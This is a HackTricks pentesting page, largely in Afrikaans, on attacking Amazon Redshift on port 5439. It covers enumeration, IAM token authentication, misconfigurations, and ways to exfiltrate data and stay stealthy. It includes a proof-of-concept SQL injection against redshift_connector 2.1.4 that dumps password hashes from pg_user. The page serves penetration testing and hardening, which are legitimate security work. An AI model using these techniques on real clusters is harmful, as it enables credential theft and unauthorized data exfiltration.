5439 - Pentesting Redshift

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Hierdie poort word gebruik deur Amazon Redshift (AWS-beheerde data warehouse). Redshift se wire-protokol is ’n effens gemodifiseerde PostgreSQL-protokol, so die meeste Postgres client-gereedskap werk (psql, psycopg2, JDBC/ODBC) maar auth en TLS-vereistes verskil.

For more information check:

AWS - Redshift Enum - HackTricks Cloud

Enumerasie & Konnektiwiteit

  • Default port: 5439/TCP (customizable). Serverless-werkgroepe gebruik ook standaard 5439.
  • Public endpoint pattern: <clusterid>.<random>.<region>.redshift.amazonaws.com (public) or .redshift.amazonaws.com.cn (China). Serverless: <workgroup>.<random>.<region>.redshift-serverless.amazonaws.com.
  • TLS: Redshift vereis TLS 1.2+ en perfect-forward-secrecy ciphers. Ou kliënte kan faal; dwing moderne TLS af:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
  • Parameter group require_ssl controls if plaintext is allowed. New clusters/workgroups use default.redshift-2.0 with require_ssl=true, so downgrade/mitm is harder.

Vinnige enumerasie met psql

# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;

Foutboodskappe onderskei slegte wagwoord van ontbrekende gebruiker → potensiële username enumeration tydens brute force.

Verifikasie-paaie om te toets

  • Database wagwoord vir master user (dikwels awsuser) of geskepte DB gebruikers.
  • IAM auth tokens: genereer kortlewende credentials en verbind via libpq/JDBC/ODBC gebruik makend van sslmode=require en authMech=IAM of plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider. Abuse stolen IAM creds/roles with rds-db:connect style permission equivalent for Redshift.
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
  • IAM Identity Center / SAML / Azure AD plugins: JDBC plugin_name may spin up local webserver for SSO; captured loopback callback can leak SAML assertion or temp creds.

Algemene wankonfigurasies (netwerk)

  • Cluster gemerk PubliclyAccessible=true met wye SG (0.0.0.0/0) openbaar ’n Postgres-agtige oppervlak vir brute force of SQLi eksploitasie.
  • Standaardpoort 5439 plus standaard SG maak maklike ontdekking (Shodan/Censys) moontlik. Poortverandering is ’n geringe obscurity maar soms oor die hoof gesien in verhardingskontrolelyste.
  • No enhanced VPC routing → COPY/UNLOAD gaan oor publieke Internet; kan misbruik word vir exfil wanneer aanvaller beheer oor ’n S3 bucket/endpoint.

Aanvalnotas

  • Indien login slaag, Redshift het geen superuser in serverless nie; in provisioned clusters het die master user wye regte insluitend die skep van UDFs (Python), external schema na Spectrum, COPY vanaf aanvaller S3, en UNLOAD om data te exfil.
  • Kontroleer cluster parameter group vir max_concurrency_scaling_clusters, require_ssl, enable_user_activity_logging – logging gedeaktiveer help stealth.
  • Serverless workgroups steeds bereikbaar via TCP; dieselfde SQL aanvaloppervlak as provisioned clusters.
  • Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4 and ODBC 2.1.5.0 bou metadata queries met ongeciteerde user input in getSchemas/getTables/getColumns (CVE-2024-12744/5/6). As ’n app aanvallers toelaat om katalogus of patroonargumente te beheer, kan jy arbitrary SQL injekteer wat loop met die DB user wat deur die connector gebruik word.
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
  • UDF execution model change: Python UDFs hou op om te werk 30 Junie 2026; slegs Lambda UDFs toegestaan daarna. Offensiewe impak: legacy provisioned clusters wat nog Python UDFs draai kan steeds in-cluster code exec uitvoer (geen FS/network toegang). Lambda UDFs skuif kode na Lambda waar die IAM role moontlik Internet/VPC endpoints kan bereik vir SSRF/pivot, maar sonder direkte cluster filesystem toegang. Jaag op ou clusters met Python UDFs aangeskakel kan steeds RCE primitives oplewer.

Onlangse sekuriteitsveranderings (aanvalsimpak)

  • Public access disabled by default op nuwe clusters/snapshots (Jan 10, 2025 change). Legacy een mag steeds public wees.
  • Encryption at rest + enforced TLS by default beteken sniffing/mitm moeiliker; benodig geldige credentials of SSRF in VPC path.
  • Serverless VPCE rollout change (Jun 27, 2025): workgroup endpoints geskep in tot 3 AZs by skeppingstyd. Discovery tools moet alle workgroup VPCE DNS names per AZ enumereer om bereikbare IPs te vind.

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks